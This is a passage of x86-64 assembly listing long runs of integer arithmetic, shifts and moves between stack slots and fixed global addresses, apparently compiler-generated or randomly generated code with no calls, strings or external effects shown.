mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc0ab], al
movsx eax, word [rsp + 0x1768]
movsx ecx, word [rsp + 0x17c8]
and eax, ecx
mov rcx, qword [rsp + 0xb4c0]
mov word [rcx], ax
lea rax, [0x1401cc114]
mov qword [rsp + 0xc3b8], rax
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb558]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb718]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa6d8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa220]
mov byte [rcx], al
mov rax, qword [rsp + 0xa288]
mov eax, dword [rax]
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0xabc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98d0]
mov qword [rsp + 0xc3c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa548], rax
mov rax, qword [rsp + 0x9b50]
mov qword [rsp + 0xc3c8], rax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x93f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4f30], eax
movsx eax, byte [rsp + 0x343]
mov rcx, qword [rsp + 0xa138]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0a6], al
movzx eax, word [rsp + 0x1528]
movzx ecx, word [rsp + 0x1838]
sub eax, ecx
mov word [rsp + 0x1998], ax
mov rax, qword [0x1401cd740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15cc]
and eax, ecx
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20c]
sub eax, ecx
mov byte [rsp + 0x23a], al
movzx eax, word [rsp + 0x1904]
mov word [rsp + 0x1a9c], ax
mov rax, qword [rsp + 0xbaf8]
mov ecx, dword [rsp + 0x526c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5050], eax
lea rax, [rsp + 0xa970]
mov qword [rsp + 0xc3d0], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x50b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa648]
mov rcx, qword [rsp + 0x9128]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0xbea0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbde8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc0ae], al
mov rax, qword [0x1401cdcb8]
movzx eax, word [rax]
mov word [rsp + 0x1aa0], ax
mov rax, qword [rsp + 0xc158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1910]
add eax, ecx
mov word [rsp + 0x18b0], ax
lea rax, [rsp + 0x318]
mov qword [rsp + 0xc3d8], rax
movzx eax, word [rsp + 0x19d4]
mov rcx, qword [rsp + 0xa078]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1898], ax
mov rax, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0xc1e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ef0], eax
mov rax, qword [rsp + 0xa9f0]
mov rax, qword [rax]
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xad10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
mov dword [rsp + 0x53f4], eax
mov rax, qword [rsp + 0xad68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x199]
sar eax, cl
mov byte [0x1401cd825], al
movsx eax, byte [0x1401cc03a]
mov rcx, qword [rsp + 0x9178]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb900]
mov byte [rcx], al
movsx eax, word [rsp + 0x17ac]
movsx ecx, word [rsp + 0x1464]
shl eax, cl
mov word [rsp + 0x17c8], ax
mov rax, qword [rsp + 0xc2e0]
movzx eax, word [rax]
mov word [rsp + 0x1aa4], ax
movsx eax, byte [0x1401cc07e]
movsx ecx, byte [rsp + 0x317]
and eax, ecx
mov byte [rsp + 0x267], al
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov qword [rsp + 0xc3e8], rax
mov eax, dword [rsp + 0x4ff0]
mov ecx, dword [rsp + 0x4ca4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5108], eax
mov rax, qword [rsp + 0xbc60]
mov rax, qword [rax]
mov qword [rsp + 0xc3f0], rax
mov eax, dword [rsp + 0x52bc]
mov ecx, dword [rsp + 0x5354]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2d8]
mov byte [0x1401cd845], al
mov rax, qword [rsp + 0xbcf8]
movsx eax, word [rax]
movsx ecx, word [0x1401cc190]
and eax, ecx
mov word [rsp + 0x165c], ax
movzx eax, byte [rsp + 0x29d]
mov byte [rsp + 0x347], al
movzx eax, word [rsp + 0x171c]
movzx ecx, word [rsp + 0x1800]
add eax, ecx
mov rcx, qword [rsp + 0xb9b0]
mov word [rcx], ax
lea rax, [0x1401cd7db]
mov qword [rsp + 0xc3f8], rax
mov rax, qword [rsp + 0xa158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f60], eax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0xa410]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0xaf80]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b98], rax
mov eax, dword [rsp + 0x5120]
mov ecx, dword [rsp + 0x4e60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f6c], eax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1744]
xor eax, ecx
mov word [0x1401cc1b8], ax
mov rax, qword [rsp + 0xb3d0]
movzx eax, byte [rax]
mov byte [rsp + 0x348], al
movzx eax, byte [rsp + 0x2a3]
movzx ecx, byte [rsp + 0x201]
or eax, ecx
mov rcx, qword [rsp + 0x9358]
mov byte [rcx], al
movsx eax, byte [rsp + 0x2ab]
mov rcx, qword [rsp + 0xa8e0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movzx eax, word [rsp + 0x1784]
mov word [rsp + 0x1aa8], ax
mov rax, qword [rsp + 0xbb70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb628]
shl rax, cl
mov rcx, qword [rsp + 0xa8d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb280]
mov qword [rsp + 0xc400], rax
mov eax, dword [rsp + 0x4a7c]
mov ecx, dword [rsp + 0x53a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9910]
mov ecx, dword [rsp + 0x5258]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae80]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1958]
movzx ecx, word [rsp + 0x16e0]
sub eax, ecx
mov word [0x1401cda18], ax
lea rax, [rsp + 0x310]
mov qword [rsp + 0xc408], rax
movzx eax, word [rsp + 0x1914]
movzx ecx, word [rsp + 0x170c]
sub eax, ecx
mov rcx, qword [rsp + 0xb350]
mov word [rcx], ax
lea rax, [rsp + 0x10d8]
mov qword [rsp + 0xc410], rax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0xbb88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb660]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f20]
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xa990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb690]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa590]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd10]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa458], rax
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
mov dword [rsp + 0x53fc], eax
lea rax, [0x1401cc0a0]
mov qword [0x1401cde10], rax
movzx eax, word [rsp + 0x17b0]
mov rcx, qword [rsp + 0xb4e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb818]
mov word [rcx], ax
movzx eax, byte [rsp + 0x230]
mov byte [rsp + 0x349], al
movzx eax, byte [rsp + 0x180]
mov rcx, qword [0x1401cdbb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbec8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1728]
mov rcx, qword [rsp + 0xb0e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1894], ax
mov rax, qword [rsp + 0xbac0]
mov rax, qword [rax]
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xb0d0]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5088], eax
mov eax, dword [rsp + 0x4e40]
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0xa5b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb910]
mov qword [rsp + 0xc420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc420]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb728], rax
movsx eax, word [rsp + 0x18a8]
mov rcx, qword [0x1401cd9e0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
xor eax, ecx
mov rcx, qword [0x1401cddd0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1714]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x9430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0f8]
mov byte [rcx], al
lea rax, [rsp + 0x100c]
mov qword [rsp + 0xc428], rax
mov eax, dword [rsp + 0x4eb8]
mov ecx, dword [rsp + 0x47e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b7c], eax
lea rax, [rsp + 0x9680]
mov qword [rsp + 0xc430], rax
mov eax, dword [rsp + 0x51d0]
mov ecx, dword [rsp + 0x4f98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad90]
mov rcx, qword [rsp + 0xb5f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xae38]
mov qword [rcx], rax
lea rax, [rsp + 0x257]
mov qword [rsp + 0xc438], rax
mov rax, qword [rsp + 0xa290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x265]
add eax, ecx
mov byte [0x1401cc0af], al
movsx eax, word [rsp + 0x1884]
movsx ecx, word [0x1401cda00]
imul eax, ecx
mov word [rsp + 0x19d0], ax
movzx eax, byte [rsp + 0x249]
mov byte [rsp + 0x34a], al
movzx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0xb6c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ef], al
mov eax, dword [rsp + 0x5148]
mov ecx, dword [rsp + 0x51d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x9dc0]
mov rax, qword [rax]
mov qword [rsp + 0xc440], rax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x9f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x52cc], eax
mov rax, qword [rsp + 0xb710]
mov qword [rsp + 0xc448], rax
mov rax, qword [rsp + 0xbf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
sub eax, ecx
mov rcx, qword [rsp + 0xa670]
mov byte [rcx], al
movsx eax, byte [rsp + 0x28b]
mov rcx, qword [rsp + 0xb660]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401cc00d], al
mov rax, qword [0x1401cdb00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a1c]
or eax, ecx
mov rcx, qword [rsp + 0xbf00]
mov word [rcx], ax
mov rax, qword [rsp + 0x9bd8]
movzx eax, word [rax]
mov word [rsp + 0x1aac], ax
mov rax, qword [rsp + 0xb048]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc240]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15fc], ax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0xbb70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x84d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ca4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb8], eax
lea rax, [rsp + 0xa410]
mov qword [rsp + 0xc450], rax
movsx eax, byte [rsp + 0x209]
movsx ecx, byte [rsp + 0x210]
add eax, ecx
mov byte [rsp + 0x20b], al
lea rax, [rsp + 0x304]
mov qword [0x1401cde18], rax
movzx eax, word [rsp + 0x1718]
mov word [rsp + 0x1ab0], ax
mov rax, qword [rsp + 0xba48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
mov word [rsp + 0x1ab4], ax
mov rax, qword [rsp + 0xc390]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc057]
sub eax, ecx
mov byte [rsp + 0x31a], al
mov rax, qword [rsp + 0x9518]
mov ecx, dword [rsp + 0x515c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5330], eax
lea rax, [rsp + 0x536c]
mov qword [rsp + 0xc458], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x94d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa9f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa690]
mov qword [rsp + 0xc460], rax
mov rax, qword [rsp + 0xbe08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2f4]
sub eax, ecx
mov byte [0x1401cc04a], al
movsx eax, word [rsp + 0x179c]
movsx ecx, word [0x1401cc1b8]
and eax, ecx
mov rcx, qword [rsp + 0xbce8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9778]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1714], ax
lea rax, [rsp + 0x1808]
mov qword [rsp + 0xc468], rax
movsx eax, word [rsp + 0x1680]
mov rcx, qword [rsp + 0xbf20]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9628]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ca8]
mov rcx, qword [rsp + 0xaf30]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8a28], rax
mov eax, dword [0x1401cc01c]
mov rcx, qword [rsp + 0xa180]
mov qword [rsp + 0xc470], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc470]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5018], eax
mov rax, qword [rsp + 0xadf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51cc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov dword [rcx], eax
lea rax, [rsp + 0x9e60]
mov qword [rsp + 0xc478], rax
lea rax, [rsp + 0x326]
mov qword [0x1401cde20], rax
mov rax, qword [rsp + 0xbbf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ec8]
mov word [rcx], ax
lea rax, [rsp + 0x31b]
mov qword [rsp + 0xc480], rax
mov rax, qword [rsp + 0xb238]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb1]
and eax, ecx
mov byte [rsp + 0x1b1], al
mov rax, qword [0x1401cd858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb780]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0xb2b0]
mov rax, qword [rax]
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0x9520]
mov rcx, qword [rsp + 0xb7b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa238], rax
lea rax, [rsp + 0x5230]
mov qword [rsp + 0xc490], rax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0xc190]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ba8], eax
movsx eax, byte [rsp + 0x326]
movsx ecx, byte [0x1401cc06a]
add eax, ecx
mov rcx, qword [0x1401cdb28]
mov byte [rcx], al
movzx eax, word [rsp + 0x1644]
mov word [rsp + 0x1ab8], ax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xae58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17c4], ax
mov rax, qword [rsp + 0x9eb0]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd7c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d1], al
lea rax, [rsp + 0x1824]
mov qword [rsp + 0xc498], rax
mov rax, qword [rsp + 0xc020]
mov rcx, qword [rsp + 0xc0a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
lea rax, [rsp + 0x9bc0]
mov qword [rsp + 0xc4a0], rax
mov eax, dword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x5114]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5350], eax
mov rax, qword [rsp + 0x9e80]
mov ecx, dword [rsp + 0x52e4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15c8]
movzx ecx, word [rsp + 0x1528]
or eax, ecx
mov word [0x1401cc1bc], ax
mov rax, qword [rsp + 0x9540]
movzx eax, byte [rax]
mov byte [rsp + 0x34b], al
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33d]
sar eax, cl
mov byte [rsp + 0x2db], al
movzx eax, word [0x1401cc114]
mov word [rsp + 0x1abc], ax
mov rax, qword [rsp + 0xb338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b7]
shl eax, cl
mov rcx, qword [rsp + 0xa520]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa20]
mov rcx, qword [rsp + 0xa588]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac10], rax
mov eax, dword [rsp + 0x519c]
mov dword [rsp + 0x5408], eax
mov rax, qword [rsp + 0xbb08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fb4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1f8]
mov rax, qword [rax]
mov qword [rsp + 0xc4a8], rax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
mov rcx, qword [0x1401cde20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc08e], al
mov rax, qword [rsp + 0x94a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf78]
sub eax, ecx
mov rcx, qword [rsp + 0xb4e8]
mov word [rcx], ax
lea rax, [rsp + 0x1544]
mov qword [rsp + 0xc4b0], rax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x315]
sub eax, ecx
mov rcx, qword [rsp + 0x9c18]
mov byte [rcx], al
movsx eax, word [rsp + 0x1718]
mov rcx, qword [rsp + 0xac30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
lea rax, [rsp + 0x98e0]
mov qword [rsp + 0xc4b8], rax
mov eax, dword [rsp + 0x4e5c]
mov ecx, dword [rsp + 0x5278]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5214], eax
mov eax, dword [rsp + 0x537c]
mov dword [rsp + 0x540c], eax
mov rax, qword [rsp + 0xa918]
mov rcx, qword [rsp + 0x84e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc460], rax
lea rax, [0x1401cc11c]
mov qword [0x1401cde28], rax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9550]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18dc], ax
lea rax, [rsp + 0x23a]
mov qword [rsp + 0xc4c0], rax
mov rax, qword [rsp + 0x9848]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb950]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae50]
mov byte [rcx], al
lea rax, [rsp + 0x1648]
mov qword [rsp + 0xc4c8], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0xc348]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9320]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x93d0], rax
lea rax, [rsp + 0xa228]
mov qword [rsp + 0xc4d0], rax
mov eax, dword [rsp + 0x5390]
movzx ecx, al
mov eax, dword [rsp + 0x5080]
shl eax, cl
mov dword [rsp + 0x53a0], eax
mov rax, qword [rsp + 0xb9b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc238]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401cd8e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb120]
movzx eax, byte [rax]
mov byte [rsp + 0x34c], al
mov rax, qword [rsp + 0xbce8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15dc]
sar eax, cl
mov word [rsp + 0x168c], ax
mov rax, qword [0x1401cd948]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaee8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2f3], al
mov rax, qword [rsp + 0x98c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0xba10]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe38], rax
mov rax, qword [rsp + 0xb8b0]
mov qword [rsp + 0xc4d8], rax
mov eax, dword [rsp + 0x47cc]
mov ecx, dword [rsp + 0x5350]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x539c], eax
mov rax, qword [rsp + 0xac90]
mov eax, dword [rax]
mov dword [rsp + 0x5410], eax
movsx eax, word [rsp + 0x1424]
mov rcx, qword [rsp + 0x9328]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
lea rax, [rsp + 0x246]
mov qword [0x1401cde30], rax
movzx eax, word [rsp + 0x17e4]
movzx ecx, word [rsp + 0x1960]
sub eax, ecx
mov word [rsp + 0x1930], ax
lea rax, [rsp + 0x281]
mov qword [rsp + 0xc4e0], rax
movsx eax, word [rsp + 0x1674]
mov rcx, qword [rsp + 0xae58]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa238]
mov qword [rsp + 0xc4e8], rax
mov rax, qword [rsp + 0xc0b8]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x8f88]
mov ecx, dword [rsp + 0x5024]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb258]
mov dword [rcx], eax
mov eax, dword [rsp + 0x51d8]
mov dword [rsp + 0x5414], eax
mov rax, qword [0x1401cdc28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x228]
sar eax, cl
mov byte [rsp + 0x301], al
movzx eax, word [rsp + 0x1804]
movzx ecx, word [rsp + 0xeec]
shl eax, cl
mov rcx, qword [0x1401cdbd8]
mov word [rcx], ax
movzx eax, word [rsp + 0x16dc]
mov word [rsp + 0x1ac0], ax
mov rax, qword [rsp + 0xc3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2f6]
xor eax, ecx
mov rcx, qword [rsp + 0xad68]
mov byte [rcx], al
mov rax, qword [rsp + 0xb5a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa790]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xafc0]
mov eax, dword [rax]
mov dword [rsp + 0x5418], eax
mov rax, qword [rsp + 0xa918]
mov rcx, qword [rsp + 0xc3c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa758], rax
mov rax, qword [rsp + 0xa9f8]
mov rax, qword [rax]
mov qword [rsp + 0xc4f0], rax
mov eax, dword [rsp + 0x5020]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x52f8], eax
lea rax, [rsp + 0x21e]
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0xbac8]
movzx eax, byte [rax]
mov byte [0x1401cd846], al
movzx eax, word [rsp + 0x1510]
mov rcx, qword [rsp + 0xb008]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1638], ax
movsx eax, word [rsp + 0x1164]
movsx ecx, word [rsp + 0x169c]
add eax, ecx
mov rcx, qword [rsp + 0xaeb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x34d], al
mov rax, qword [rsp + 0xc208]
mov rcx, qword [rsp + 0xc150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4840], eax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xc500], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0xc368]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xabe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa040]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb708]
mov qword [rcx], rax
lea rax, [rsp + 0x1928]
mov qword [rsp + 0xc508], rax
movzx eax, byte [rsp + 0x262]
movzx ecx, byte [rsp + 0x263]
sub eax, ecx
mov rcx, qword [0x1401cd7e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1718], ax
movsx eax, byte [rsp + 0x254]
movsx ecx, byte [rsp + 0x275]
sub eax, ecx
mov byte [rsp + 0x174], al
mov rax, qword [rsp + 0xa138]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b9]
xor eax, ecx
mov rcx, qword [rsp + 0xb730]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0x9818]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x33c], al
mov rax, qword [rsp + 0xb2e8]
mov rax, qword [rax]
mov qword [rsp + 0xc510], rax
mov rax, qword [rsp + 0xa110]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e68]
shl eax, cl
mov rcx, qword [rsp + 0xb348]
mov dword [rcx], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xc518], rax
mov rax, qword [rsp + 0xb898]
mov ecx, dword [rsp + 0x515c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x95a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc2e0]
movzx eax, word [rax]
mov rcx, qword [0x1401cd8c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cdc60]
mov word [rcx], ax
mov rax, qword [rsp + 0xa850]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9940]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbeb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc328]
movzx eax, word [rax]
mov word [rsp + 0x1ac4], ax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
movzx ecx, word [0x1401cc0d4]
add eax, ecx
mov word [rsp + 0x1740], ax
